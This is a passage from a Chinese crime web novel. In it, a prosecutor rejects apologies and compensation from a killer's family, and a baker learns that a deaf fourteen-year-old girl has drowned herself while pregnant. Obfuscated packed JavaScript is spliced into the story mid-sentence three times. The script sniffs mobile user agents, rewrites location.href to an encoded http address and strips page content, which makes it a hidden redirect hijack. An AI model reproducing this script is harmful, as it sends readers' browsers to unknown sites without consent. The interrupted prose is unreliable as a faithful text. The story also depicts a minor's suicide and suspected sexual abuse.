沈灵均靠在椅子上,觉得太阳穴附近的血管不断地跳痛。 杜菲同意出谅解书。 沈灵均试图克制自己的情绪——杜菲是李长乐的母亲,她的确是法理上有资格签署谅解书的人——对律师、对被害人家属发难毫无意义——他应该克制—— 他还不够克制吗?!还要他怎么克制! 他的长乐,那么懂事的长乐、那么孝顺的长乐、那么勇敢的长乐、那么善良的长乐、那么渴望母亲的长乐、那么想念父亲的长乐……他看着长大的长乐。他死掉了,被杀了。他的亲人不是贪图他的遗产、就是想把他的尸体卖个好价钱,杀掉他的凶手,也可能得到从轻的处罚。 沈灵均拿起面前的茶杯,重重地摔在了地上。刘崇明登时噤了声。 “既然你们已经拿到谅解书了,还来找我干什么?赔偿?刘律,你既然是卢江峰的代理人,应该知道他犯案的理由吧?我不缺钱。你们的赔偿,我一个子都不稀罕。” 说着,沈灵均就站起身想走,但刘崇明早他一步站起身,拦在了他面前:“沈检,沈检,您别冲动。我、还有几位家属,是真心想来跟您道歉。而且于情于理,我们都该赔偿您,我们真的没有冒犯您的意思……” 刘崇明正说着,曹丽梅的姐姐曹丽艳就冲了上来,扑通一声,跪在了沈灵均身前:“沈先生,真是对不住,真对不起,我妹妹做了错事,她昏了头,我替她向您道歉……” 说着,曹丽艳就想给他磕头。 沈灵均扶住她,语气生硬:“这是什么意思?道德绑架吗?” 曹丽艳的儿子快步走了过来,半拉半抱地把他母亲从地上扶了起来。 沈灵均看向刘崇明,道:“对于辩护律师来说,从接到案子的那一刻开始,战争便已经打响了。而决定这场战争胜利与否的关键因素,不是一场、两场简短的法庭辩论,而是朝着这个最终战场前进时迈出的每一步……这是您在您的作品《辩护人》中的一段话。来找我,也是您想要迈出的一步吗?” “我对您、对诸位,实在没什么好说的。我与长乐并没有亲缘关系,我的证词、我的态度,基本无法影响法庭的态度与量刑。你们不必在我身上浪费时间。你们的道歉,我收到了。你们想让我怎么回答你们呢?‘我接受了’还是‘我原谅了’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190679|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你们……” 沈灵均从曹丽艳悲戚、卑怯的脸上扫过,忽然想起了戚玉衡——十几年前,他是不是也曾这样放下尊严,卑微、小心翼翼地替自己的家人道歉?明明自己没有犯任何错。 沈灵均几乎是用尽全身力气,把剩下的话咽了下去。他什么话都不想再说,想绕过刘崇明离开,但刘崇明又退了一步,挡住了大门:“沈检,请等一下,我明白,我们……我们出现在你面前,可能都是一种打扰。但是,我们必须来向您道歉,我们……孩子没有了,我们身为家属,于情于理,都得向孩子的家人道歉。” 刘崇明这话说得情真意切,主语也用的是“我们”而非“他们”。沈灵均微微挑眉:“刘律和你的当事人们之前认识?” 刘崇明脸上露出来一个有些惨淡的笑:“我和江……卢江峰,是多年好友。如果小川没出意外,我们说不定还会是儿女亲家。我女儿小曼,和小川是初中同学,也是高中同学,两个人高二下学期的时候谈起了恋爱。我那个女儿呀,是艺术生,文化课成绩很惨淡,她当时和小川谈恋爱的时候,我还担心她会把小川的成绩拉下来……她考个三四百分就足够了,可万一影响小川上庆北可怎么办?” “没想到,小川……”刘崇明用大拇指揩了一下眼角:“她要是和小川正常分手啊,她说不定早就放下了。但……小川走后,我女儿就得了抑郁症,休学了一年才复学。今年三十六了,还没结婚。” 刘崇明搓着手:“沈检,我、我知道,江……我当事人他们的态度,一定让您很愤怒。但是,他们真的不是对长乐毫无愧疚心的那种恶魔。他们是真的觉得很对不起长乐,但他们……他们疯了,他们……”刘崇明的手下意识地在空中挥舞着,“我……我们,我们这些家属有责任,我们身为他们身边的人,却没有发现他们已经在不知不觉间变得疯狂,变得偏执,我从不知道他心中埋藏着那么深的怨恨。真的、真的、真的对不起。” 说着,包间里立刻响起了此起彼伏的道歉声。他们的态度十分诚恳,丝毫不敷衍,如若此时他的身份是检察官,他一定会努力促成两方当事人的和解,为被害人家属争取权益,让嫌疑人家属能够安心。 然而,此时的他不是沈检,只是沈灵均。而今他才懂得,做检察官时说过的很多话,实在浅薄、实在自以为是、实在高高在上、实在舐皮论骨。原来有些感受,不经历,便真的无法懂得。 刘崇明有些粗暴地从自己的公文包里拿出一沓文件:“这是卢江峰名下大部分资产的产权证明,包括一中附近的一套一百五十平的学区房,和一套在金水湾的房子,两台车,以及一些股票期货……他其实还有一些存款,但是他老婆现在还住在精神病院,他总要为他老婆留一些医疗费,所以没有拿出来。剩下的这些资产,他愿意无偿赠送给您,作为补偿。” “补偿……”沈灵均轻声念叨着:“俗话说拿人家手短。这是补偿还是工资啊?他不是还期望我能替他追凶吗?我身价很贵的,而且不接公务以外的私活。” 说完,沈灵均微微用力,把刘崇明从自己身前拨开,不再理会身后的声音,推门离开了。 走出饭店,沈灵均收到了来自瞿春光的微信,说他们已经将长乐的遗体送到了殡仪馆,他可以开始着手准备长乐的后事了。 沈灵均将这条消息反反复复地看了几遍,才慢慢放下手机。 心脏处传来了熟悉的绞痛——在这些日子里,他已经将这种疼痛体会了无数遍。这种痛苦还要持续多久?一周、一个月、一年,还是一辈子? 他有些想问卢江峰等人:你们是觉得,找到凶手,这种内心的痛苦就可以得到抚慰吗? 那他真想告诉他们:你们错了。完全错了。 尽管他们已经归案,他也知道他们这些凶手会得到法律的惩罚,痛苦还是如影随形,仿佛永无止息。因为这种痛苦的来源是失去,而失去的生命,注定无法再寻回。 70.第 70 章 在凶手归案的四天后,容州公安在各个社交媒体上发布了长乐一案的警情通报,霎时间在网络上引起了轩然大波。网友说什么的都有:有指责警方无能,十余年无法破案的;有说卢江峰等人行事偏激、走火入魔的;也有人对他们报以同情的;还有一本正经地分析3.18案案情的…… 尽管公众的关注如如烟似雾,终有消散的一天,但戚玉衡觉得,这短暂的关注、短时的热度,已经契合了卢江峰等人的期待。容州公安微博发布警情通报后,不到三小时,转评合计便已过十万,热评热转都是期望警方尽快重启3.18案侦查、找出凶手的言论。根据其他容州网友的反馈,容州的市长热线更是已经被打爆,容州市公安局的门口也围满了长枪短炮。 民意汹汹,重启3.18案的侦查几乎成为了一种必然。 但,重启调查容易,但只要调查,就一定能破案吗?十几年过去了,刑事技术固然有了巨大的进步,但戚玉衡觉得,技术的进步很难真正推动3.18案的侦查进程:3.18案的凶手作案非常谨慎,在绑架现场和弃尸现场都没留下任何痕迹证据,他“留下”的唯一“物品”,只有被害人的尸体。然而,八位被害人的遗体早已火化,当年的现场如今也基本改头换面,这种情况下,警方找到新证据的可能性微乎其微。 重启侦查,也不过是继续在以往的故纸堆里找证据。 想到这里,戚玉衡的手没收住力,包坏了一个司康。 这个时候,牛明星把头探进烘焙间:“玉衡,有人找你。” 有人找他?是谁? 戚玉衡的心一下子绷紧了——之前邓淑丽来闹事,委实给他留下了一些心理阴影。 他提心吊胆地出了门,发现大厅里站着一个十五六岁的少女。少女身材颀长,面容白净清秀,细长清淡的眉毛下,生了一对柳叶型、有些小内双的眼睛,整个人有种冷淡、忧郁的气质。 戚玉衡有些意外——这女孩是赵美星。因为赵美星戴助听器戴得太晚,接受系统的特殊教育的时间也晚,她直到现在也无法完全理解健听人的语序语意,于是他一边说话一边打手语道: 【美星?你怎么过来了?】 赵美星道: 【玉衡哥,我想买一个生日蛋糕。】 戚玉衡点点头: 【你现在就要嘛?还是想预定?】 【我现在就想要。】 无论是在哪家蛋糕店,都不会有现成的生日蛋糕。但戚玉衡没拒绝赵美星:【好。那你把想要的款式发给我吧,我给你做。】 赵美星拿出手机,给戚玉衡发了张图片。 戚玉衡看着她手里的手机,一时间有些意外——赵美星手里拿着的,赫然是最新款的平果机,一台要□□千块。赵美星的父母两人一个月都挣不上□□千块,他们两个又惯来忽视这个残疾的大女儿,怎么可能舍得给赵美星买这么贵的手机? 山寨机?可是它看着和牛明星的平果手机一模一样,像是真货。 是冯小竹、或是其他志愿者给她买的?也不太可能,志愿者怎么会给孩子买这么奢侈的礼物? 戚玉衡没深想这个问题,专心去看赵美星发给她的图:是一个紫色系、复古裱花风格的蛋糕,看着繁复,但戚玉衡却并不觉得如何难做。 戚玉衡点点头:【那美星,你坐在这等一会,我在一个小时内给你做出来。】 戚玉衡记得,赵美星的生日在八月,于是随口问道:【这个蛋糕是准备送给朋友吗?】 赵美星摇头道:【是给我自己买的。】 戚玉衡有些疑惑地歪了歪头:【但我记得,你是八月份的生日呀。八月十一。是不是?】 赵美星愣了一下神,随后,她苍白的脸上慢慢绽开一个笑容:【哥,你记得我的生日呀?】 【记得呀。所以你怎么这个时候给自己买生日蛋糕?】 特意强调是“生日蛋糕”呢。 赵美星微微抿唇:【过生日那天没吃到,想给自己补过一个。】 戚玉衡心里登时生出许多怜惜。算算时间,赵美星过生日的时候正值暑假。她的父母对她向来不上心,听赵美星的意思,他们应该是没给女儿准备生日蛋糕——大概率也没有生日礼物。 戚玉衡下意识地想抬手摸摸赵美星的头,但随即便有些恍惚——他和李长乐相处得久了,二人之间经常会有些亲昵的小动作。但赵美星是女孩子,他这么做就有些不大合适了。 戚玉衡朝赵美星用力眨了眨眼:【原来如此,那我今天必须好好发挥。你想要什么夹心?我们这里可选的夹心可有很多哦。】 等赵美星选完夹心,戚玉衡回到烘焙间,打开手机叫了个跑腿,让他去商场的实体店买了个玩偶,准备把它当做补给赵美星的生日礼物。等戚玉衡做完蛋糕,跑腿也把玩偶送了过来,时间卡得刚刚好。 戚玉衡把玩偶递给赵美星,道:【今年你生日的时候哥哥没能送你礼物,现在补给你。明年生日,哥哥保证送你个更好的。】 赵美星看着那个兔子玩偶,眼眶发红,一副想要又不敢要的模样。戚玉衡把玩偶塞到她手里:【拿着吧。不要不好意思。】 赵美星吸了吸鼻子,在书包里摸索了一会,掏出五张百元大钞递给戚玉衡:【那哥哥,这些钱给你。】 戚玉衡忙摆摆手:【都说了是礼物,哪有给别人送礼物还收钱的呢?那不就成买卖了吗?】 【你还给我做蛋糕了,我是来买蛋糕的。】 戚玉衡几番推辞,最后实在无法,从那五张百元大钞里抽出一张:【这就够了。】 赵美星摇摇头:【现在没有蛋糕是这么便宜的。】 戚玉衡笑了笑:【成本价,足够了。我还能赚三十手工费呢。】 看戚玉衡无论如何都不愿意再收,赵美星看了手里的钱一会,把它们收回包里。 赵美星伸出右手大拇指上下勾了勾,又指了指戚玉衡:【谢谢。】 【不用谢。】 赵美星提着蛋糕走到店门口,却又折返回来:【哥哥,我可以抱抱你吗?】 戚玉衡先是一愣,随后立刻张开双臂,拥住了赵美星。 良久,赵美星才主动从他的怀抱里退了出来,又打了一遍谢谢的手语。 等赵美星走了,牛明星才开口道:“这谁?你做义工认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196092|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识的小孩?” “嗯。” 牛明星啧了一声:“那么大一个邦尼兔,算上跑腿费,得三四百了吧。你什么时候对你自己这么大方一次?自己都泥菩萨过江呢,还惦记这个惦记那个的。” “孩子实在招人疼,顺手帮一把罢了。” 戚玉衡没把这个小插曲放在心上,又回烘焙间干活去了。 第二天下午,牛明星又来烘焙间叫他,说有人找。等他走到烘焙间门口,牛明星踮脚在他耳边小声道:“是警察。” 警察?警察来找他干什么?因为长乐的事?可这个案子不是全都已经查清了吗? 戚玉衡满腹疑惑地走到大厅,看着眼前的两个陌生男人,道:“警察同志,你们好。你们找我?” 两人都掏出警察证,自我介绍道:“你好,西城区公安分局,蔡安国。” “西城区公安分局,甘霖。” 戚玉衡更困惑了——西城区的警察来找他做什么? “蔡警官,甘警官,你们找我,是有什么事吗?” 年纪更大的蔡安国朝他露出一个安抚的笑:“戚先生,你先别紧张……方便去外面谈吗?旁边有个咖啡馆。我们请你喝咖啡。” 牛明星闻言,有些不放心地拉住戚玉衡的胳膊:“那个……你们不是骗子吧?” 蔡安国乐了:“嗐,真不是,我们就是想找个地方和戚先生好好了解下情况,查个案子,”蔡安国再次把警察证掏出来:“妹儿,你要是担心他,我把我证押你这。我们就去旁边的浮光咖啡,不远!” 戚玉衡虽然不明所以,但听蔡安国说是为了查案,他便配合地脱下围裙,同牛明星道:“没事的,星姐。” 三人在浮光咖啡落了座。戚玉衡本来要自己付咖啡钱,但蔡安国坚持请了他。 “两位警官,”戚玉衡有些不安地看着蔡、甘二人,“你们想找我了解什么事?” 蔡安国从包里拿出一张照片,推给戚玉衡:“戚先生,这是你们店的蛋糕包装盒吗?” 照片里是一个蛋糕包装盒,包含纸质底板、透明塑料盒、丝带,纸质底板的边缘和丝带上都印着星星烘焙的名字。 戚玉衡点点头:“……是。” 蔡安国又拿出一张照片:“你认识她吗?” 戚玉衡接过照片,随后就不自觉地挺起腰——那是赵美星的证件照。 “……认识。这是美星,赵美星。” “你最后一次见她是什么时候?” 这个句式,戚玉衡太熟悉了。 他一时间紧张地有点犯恶心,手也开始哆嗦。他把赵美星的照片放回桌上:“你们这是什么意思?美星……美星她怎么了?” 蔡安国轻声道:“昨天晚上,美星在她家附近的海边跳海自杀了。” 美星?自杀? 戚玉衡下意识地低头看向桌上的照片,有那么一会,他感觉自己的语言系统是完全错乱的:“自杀?你们确定吗?自杀?怎么……自杀,既然是自杀,你们确定是自杀,怎么找我?” 蔡安国微微前倾身体,两手在桌上交叠:“戚先生,赵美星她怀孕了,你知道吗?” 71.第 71 章 “什么?”尽管知道警察不可能在这种事上跟他开玩笑,但戚玉衡还是忍不住道:“你们搞错了吧?美星才十四岁!她还是个孩子!她怎么可能会怀孕呢?” 蔡安国看着他的眼睛,道:“事情是这样的。昨天上午,美星去医院看病,自述腹痛、吓体出血,而且已经两个月没有来月经,接诊的医生在触诊之后,怀疑她是宫外孕。就给她开了血检和超声检查,还特意叫了一个实习医生陪诊。但是,美星在检查的途中把那个女医生甩掉了,从医院跑了。宫外孕是个定时炸弹,随时都可能大出血,不及时就医很可能有生命危险,再加上医生在医院的系统里看到了美星的年龄,觉得这件事不对劲,医生就报警了。” “我们很重视这个情况,立刻联系了美星的父母,得知美星没回家后,我们试图调监控寻找她的踪迹……傍晚的时候,凤来镇派出所的同志们联系我们,说在海边找到了一个书包,里面有美星的身份证。然后,我们连夜组织了打捞。” “之后,我们给美星做了阴到超声,确认美星已经妊娠近十周了。” 戚玉衡低头看着赵美星的照片——或许是因为童年经历坎坷,赵美星是个不太爱笑的孩子,看人的时候眼神总是淡淡的、冷冷的,这张照片里的她也是一样。毫无笑意,眼神阴郁而淡漠。 戚玉衡觉得大脑一片空白:“我、我完全不知道这件事。她怎么会自杀呢?她昨天来店里的时候还好好的……” 说到这,戚玉衡顿住了——难道是因为想要自杀,所以美星才会在昨天特地补给自己一个生日蛋糕吗? 到底为什么?是因为家庭的缘故吗?还是因为怀孕……怀孕!她才十四岁!她是不是遇到了什么坏人? 这时,蔡安国问道:“戚先生,您介不介意让我们采下DNA呢?” 戚玉衡立刻道:“可以的,没问题……” 等甘霖给他做完口腔拭子,戚玉衡问:“请问,你们确认美星一定是自杀吗?有没有可能……美星是被别人害了?” 蔡安国点点头:“我们勘察了现场,现场没有第二人的痕迹,而且,”蔡安国从包里掏出一个证据袋:“我们在美星的包里发现了她的遗书。” 戚玉衡抖着手接了过来,看到上面写着: 【我包里的钱,平均分给冯小竹姐姐、戚玉衡哥哥、容州市第二特殊教育学校四年二班的班主任严嘉欣老师和凤来镇实验小学的李艳娜老师,谢谢】 “经过比对,这确实是美星的字迹,但是因为美星是限制行为能力人,所以这份遗嘱没有效力。美星的财产还是得由她的父母继承。” “财产?美星说她包里有钱,有多少钱?” “我们在她包里发现了四千多元的现金。” “四千多……美星父母平时根本不会给她零花钱,她怎么会有这么多现金?” “我们现在也不清楚。就你所知,美星有和哪位异性走得近吗?” 戚玉衡慢慢摇摇头:“我……不知道,我不知道。我想不到。啊,对,小竹,冯小竹,就是美星提到的这个冯小竹,她是我朋友,也去特二做过义工,因为她是女孩子,所以她和美星关系更亲密一些,她说不定会知道。” 蔡安国点点头:“是,这个情况我们已经了解到了,我们已经联系过冯小姐了,但她暂时还没回复我们。” “还有,美星的手机。昨天她来的时候我就注意到了,她手里拿了一台平果手机,美星家庭条件不太好,怎么会有这么昂贵的手机呢?一定是谁送给她的……说不定就是让她怀孕的那个人送的!”戚玉衡懊恼地揪住自己的头发:“我昨天就应该问她这件事的,我为什么没问呢?我当时就觉得奇怪了……” “是,我们在她包里也发现了这台手机,这和他们一家的经济状况不匹配,我们也觉得奇怪。” 随后,蔡安国两人又问了戚玉衡几个问题。发现戚玉衡确实一问三不知后,两位警察便起身告辞。 戚玉衡在原地呆坐了一会,随后站起身,追上蔡安国两人:“两位警官,美星她现在在哪?是在咱们分局吗?” 看蔡安国点头,戚玉衡道:“那……我能去看看她吗?” 蔡安国闻言,表情一时间变得有些复杂:“这个……我没法做主。毕竟戚先生你不是美星的直系亲属啊。如果你想见她的话,得和她的家属沟通。如果你现在方便的话,可以和我们一起走,美星的父母现在就在分局。再晚的话,你应该只能去凤来镇那边的殡仪馆去看她了。” 戚玉衡愣了一下:“您这是什么意思?美星,不会留在分局做尸检吗?” “对。美星的父母想赶紧把美星接回去,入土为安。” “入土为安?但是……美星怀孕了呀,她才十四岁……刚满十四岁不久,法律不是规定,和不满十四岁的女孩发生关系,是、是强肩吗?难道警方不打算查这件事吗?不用尸检的吗?” 蔡安国面露无奈:“戚先生,你也说了,和不满十四岁的女孩发生性关系,属于强肩。我刚才也跟你说过,美星大概妊娠十周,而美星是八月十日生人,也就是说,她是在满十四岁之后怀孕的。所以从现有的情况看,我们无法断言,美星被人强健过。因此,对于美星怀孕的事,我们无法以强肩罪为由展开调查。至于美星的死……她是自杀的,这是确凿无疑的,这件事就更没我们插手的空间了。美星的父母想要把孩子接回去,我们警方没有立场阻拦。” 一旁的甘霖道:“而且这孩子的父母相当不配合我们的工作,思想观念特别保守,为了劝他们同意我们给孩子做音道超声,我们嘴皮子都磨薄了两层。” 戚玉衡早就听赵美星的班主任严嘉欣老师说过,赵美星的父母对她并不疼爱,多有忽视。但他实在无法理解——他们十四岁的女儿死了,自杀了,怀着一个男人的孩子自杀了,做父母的,居然只想将这件事“轻拿轻放”? 戚玉衡忙说:“那麻烦二位警官,带我回分局吧。” 来到西城区分局,戚玉衡走到接待室门口,听到一个沙哑而粗涩的男声道:“你不要给我说这些,你知不知道,你现在是在坏我女儿的名声!” 戚玉衡推开门,发现屋里竟坐着一个他的熟人。 陈彦博颇为意外地看着他:“小戚,你怎么来这了?” 甘霖看了看二人:“陈医生,你们认识?” 戚玉衡稍一思索,便对事情的来龙去脉有了个猜测:“陈医生,是你给美星接的诊?” “是……” 陈彦博还没来得及说什么,坐在他对面的男人就道:“既然你发现我女儿怀孕了,当时就应该一直跟着她啊!你怎么能让她从医院跑掉呢?你们应该看住她,然后联系我们的呀!你们如果那个时候就通知我们,我女儿说不定也不会去跳海!” 陈彦博嘴角抽动了一下,转过身道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205608|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们讲一点道理好吧?当时我不是发现你女儿怀孕了,是怀疑你女儿怀孕了。我也叫人跟着她了,但我们医生护士也不可能限制患者的人身自由吧?孩子现在出了这样的事,你们做父母的,不反省自己是不是不够关心女儿,倒是怪上我们医生了?” 赵父的脸一瞬间有些扭曲,他没好气地道:“我们家的事,还轮不到你这个外人来管!” 这时,甘霖打圆场道:“好了好了,二位,你们都冷静一下,”甘霖向赵父赵母介绍道:“这是戚玉衡戚先生,也是美星遗书里提到的,戚玉衡哥哥。” 赵父赵母轻轻对他点了个头。 戚玉衡朝他们陪了个笑脸,道:“大哥大姐,我听警官们说,你们今天就想把美星接回家去。” 赵父点了根烟,粗声粗气地说:“不然呢?让孩子这么躺在警察局吗?她得回家不是?” “但是,您二位也知道她……怀孕的事吧?难道就这么不管了么?” 赵母这时开口道:“我们不管?还能怎么管?警察都说了,现有的事实,不能认定她被人……那什么过,不能立案。那她自己……她自己,事情都是她自己做出来的,我们能管什么?” 听了这话,戚玉衡脸上的笑容有些挂不住了,他心里登时冒出了火气。身旁的陈彦博嘴比他快:“大姐,你听听自己说的这是什么话?事情都是她自己做出来的?我们现在只知道,孩子确实是在美星肚子里,其他的呢?你知道什么啊?是美星自己自愿和别人发生的关系,还是别人强迫美星发生的关系?美星是不是被人欺负了,但因为这样那样的原因,她没有向别人求助?这些东西你都不知道。” “退一万步讲,美星是自愿和人发生关系的,她刚十四岁四个月,还是聋哑人,她的认知能力、社会化程度、心智成熟度,都远远低于同龄人。是不是有人哄骗她,让她和自己发生了关系?是不是在美星满十四岁之前,有人就诱骗她和自己发生了关系?你们就一点都不好奇真实的情况吗?在美星身边,很可能存在着一个墙奸犯!” 戚玉衡接过话茬:“而且,美星的自杀,和她肚子里的孩子、和那个和她发生关系的人有没有关系?表面上看,这好像不涉及什么违法的事,但如果你们不管这件事,很可能让一个强肩导致严重后果的罪犯逃脱法网啊!” 听完戚玉衡的话,赵父没有立刻说话,他看了一眼身边的妻子,两人的表情一时间都有些古怪。沉默了一会后,赵母吸了吸鼻子,用胳膊肘示意了一下甘霖所在的方向,道:“我们又能怎么管呢?警察都说了,立不了案,我们难道还能越过警察去管吗?我们难道要把这件事闹得村里人人都知道吗?闹得所有人都知道,我女儿怀着个野种,跳海死了吗?” 赵母抬起眼看向戚玉衡和陈彦博:“你们二位也是好心,我听出来了。且不说我们要怎么管这件事,把事情查清楚了,我女儿就能活过来了吗?这种事,无论怎么样都是不光彩的。要是传扬出去,美星的名声还要不要了?她活着的时候,名声已经……我不想让她死后还被人指指点点!” “她走了,可剩下的人总要继续生活的,我和他爸被人戳脊梁骨也算了,她妹妹美来才十一岁,要是这件事传开了,别人以后怎么看她?小地方的风言风语,比什么都来得可怕。” 赵母微微挺直腰:“所以,就这样吧。我们今天就把美星接回去,等我们选好墓地,就让她入土为安。” 72.第 72 章 戚玉衡和陈彦博对视一眼,都在对方眼中看到了很明显的不甘心。 但是,不甘心又能怎么样呢?他们两个和赵美星非亲非故,凭什么越俎代庖去管她的事? 这时,接待室的门被推开了,一个人影撞了进来。她扑到桌边,看向甘霖,嘴里发出了“啊啊”的声音,飞快地打起手语来。 甘霖看得眼花缭乱:“不是……等等、等等,小姐,我不懂手语,我不知道你在说什么呀!” 戚玉衡往前探了探脖子,看清了这人的脸——是冯小竹。半个月不见,冯小竹竟然又变瘦了不少。戚玉衡拉了一下她的胳膊:【小竹,甘警官不懂手语。你想说什么?】 冯小竹一边打手语一边哭道:【我看到吴老师给我发的消息,说美星自杀了。真的吗?真的吗?】 看戚玉衡点头,冯小竹捂住脸,随后就跟腿部脱力了一般,整个人跟一根面条似的滑到了地上。戚玉衡几次尝试把她扶起来,但都失败了。 过了差不多半分钟,冯小竹才抬起头,她哽咽着,慢慢打着手语:【美星在哪?我想去看看她。】 戚玉衡道:【就在这。但我们去之前得先征求美星父母的同意。】 冯小竹一手撑着桌子,试图站起来。但她手上似乎没什么力气,居然没能站起来,最后还是借着戚玉衡的力才站稳。冯小竹看向赵父赵母:【我想去看看美星,可以吗?谢谢你们。】 但等她打完手语,赵父赵母却没有立刻回答。 过了几秒后,赵父看了看冯小竹,又看了看戚玉衡,小声咕哝道:“她说什么呢?” 他们夫妻两人,竟然都看不懂手语。他们有一个聋哑女儿,却连“谢谢你”这种简单的手语都看不懂。 戚玉衡心里一时间五味杂陈。 戚玉衡翻译道:“她是说,她想去看一眼美星。小竹是个很好的人,经常去美星的学校做义工,”戚玉衡的目光从赵父赵母脸上扫过,又补充道:“她对美星很好,美星现在带的助听器,就是冯小姐买的。” 赵父哦了一声:“她想看,就去看呗。” 戚玉衡于是道:“我也想去看看美星。” 赵父立刻提出了反对:“她去行,你不能去!” “为什么?我就是想看看美星……” 赵父把手里的烟怼进烟灰缸里:“她是女的,你是男的!能一样吗?” 戚玉衡半张着嘴,一时间找不到任何话来反驳,于是没再坚持。 甘霖见状,站起身对冯小竹道:“冯小姐,那你跟我走吧。” 甘霖说完才想起来冯小竹是个聋人,他于是点了点冯小竹的肩膀,又用两根手指模仿了一个走的动作。冯小竹明白了他的意思,跟着他迈出了步子。 但她走了两步,身子便往前一倾,眼看着要脸朝下地摔个跟头。站在她身边的戚玉衡连忙拉了她一把,帮她稳住了平衡。 戚玉衡震惊于掌下的触感,下意识地看向自己的右手——他正紧紧地攥着冯小竹的左臂大臂。他的手在冯小竹的大臂上严丝合缝地绕了个圈,中指还余出了近两节指节。冯小竹的手臂上一点肉都没有,戚玉衡感觉自己手里握的就是一截骨头。 戚玉衡上下地打量了一下冯小竹——她现在有八十斤吗? 看冯小竹这失魂落魄、站都站不稳的样子,戚玉衡一时也顾不上男女之间的社交距离了,他搀扶着冯小竹,看向赵父赵母:“我陪小竹一起去。你们放心,我不会进去的。” 赵父赵母没说什么。 冯小竹进入太平间后不久,戚玉衡就在门外听到了一阵撕心裂肺的哭声。很多人以为聋人就是聋哑人,但其实不是。聋人的声带都是健康的,但听力的缺失让他们无法通过常规的方式学习说话,因此才有“十聋九哑”的说法。 冯小竹大概很久都没有这样使用过她的声带了。戚玉衡从她的声音中嗅出了鲜血的味道。约莫十分钟后,冯小竹才从太平间走了出来——她的脸色、唇色都是一片不健康的青白,配上她削瘦的身材,她现在像是个用白纸裁出来的纸人。 戚玉衡有些担忧地捏了捏冯小竹的肩膀:【小竹,你还好吗?你又瘦了。你现在真的太瘦了,为什么会这样?你是生病了吗?】 冯小竹双眼无神,呆呆地看了他一会,才道:【对不起,衡哥,你刚才说什么?】 戚玉衡于是又把刚才的话重复了一遍。冯小竹的说法还是和上次一样:【我就是最近胃口不大好。】 但她这情况,实在不像是简简单单的“胃口不好”,戚玉衡还想说些什么,但冯小竹摆了摆手,道:【衡哥,我的事不重要。我现在不想说这些。】 戚玉衡抬起眼,看向冯小竹身后太平间的大门,没再追问。 甘霖这时道:“戚先生,我们现在采集了你和教授美星课程的几位男老师的DNA。你能不能帮我问问冯小姐,她知不知道有哪个异性和美星走得比较近啊?” 戚玉衡依言将这些话翻译给了冯小竹。冯小竹看完后,抬起手,她似乎想要打手语,但她还没来得及打,整个人就在原地打起了摆子,随后双眼一闭,往一边倒去。 戚玉衡连忙接住她,本能地喊道:“小竹!小竹!” 甘霖在一旁道:“戚先生,你喊她她也听不到呀!我……我去叫陈医生!” 甘霖很快就拉着陈彦博跑来了,陈彦博简单给冯小竹检查了一番后,问甘霖道:“局里有没有葡萄糖?应该是低血糖。” “有有有!”甘霖指了个方向,“你们先把冯小姐抱到我们休息室吧。” 戚玉衡一手扶着冯小竹的肩,一手抄过她的腿弯,稍一发力,就把冯小竹抱了起来——太轻松了,作为一个成年人的体重,这实在过于不健康了。戚玉衡感觉自己一只手就能抱得动冯小竹。 甘霖很快拿来了一瓶葡萄糖,给冯小竹灌了下去。几分钟后,冯小竹恢复了意识。虽然知道冯小竹听不到,但陈彦博还是忍不住说:“美女,你这体重太轻了,你的BMI严重低于标准值啊,最近有没有好好吃饭?最近一次体检是什么时候?” 戚玉衡把这些话原样翻译给了冯小竹,但冯小竹的视线在他的手上停留了一会,就看向甘霖,她摇着头,缓慢打手语道:【我不知道,没听她提起过。】 甘霖虽然看不懂冯小竹的手语,但看冯小竹一直在摇头,他不用戚玉衡翻译就明白了冯小竹的意思,道:“好的,我知道了。” 冯小竹挣扎着从床上坐了起来,对戚玉衡和陈彦博二人道:【对不起,给你们添麻烦了。】 说完,她便挪动双腿,想要下床。 戚玉衡立马拦住她:【小竹,你要去哪?你刚因为低血糖晕倒,哪也别去了,先在这里歇一会吧。】 但冯小竹摇了摇头:【我想回家。】 戚玉衡再次劝道:【你现在站都站不稳!你先坐一会再回家……】 可冯小竹一反常态地固执,她使劲地摇着头,反复打了三次【我想回家】的手语,情绪极度不稳定。戚玉衡劝阻无果,只得由着她。他和陈彦博二人把她扶了出去,将她送上了出租车。 冯小竹前脚刚走,赵父赵母后脚也出来了。 他们二人和另外两个陌生男人各站一个边角,合力抬出了一个裹尸袋。四人将裹尸袋抬上了路边的一辆面包车,随后尽数上了车。 戚玉衡下意识地朝面包车的方向迈了一步,但很快就顿住了脚步。 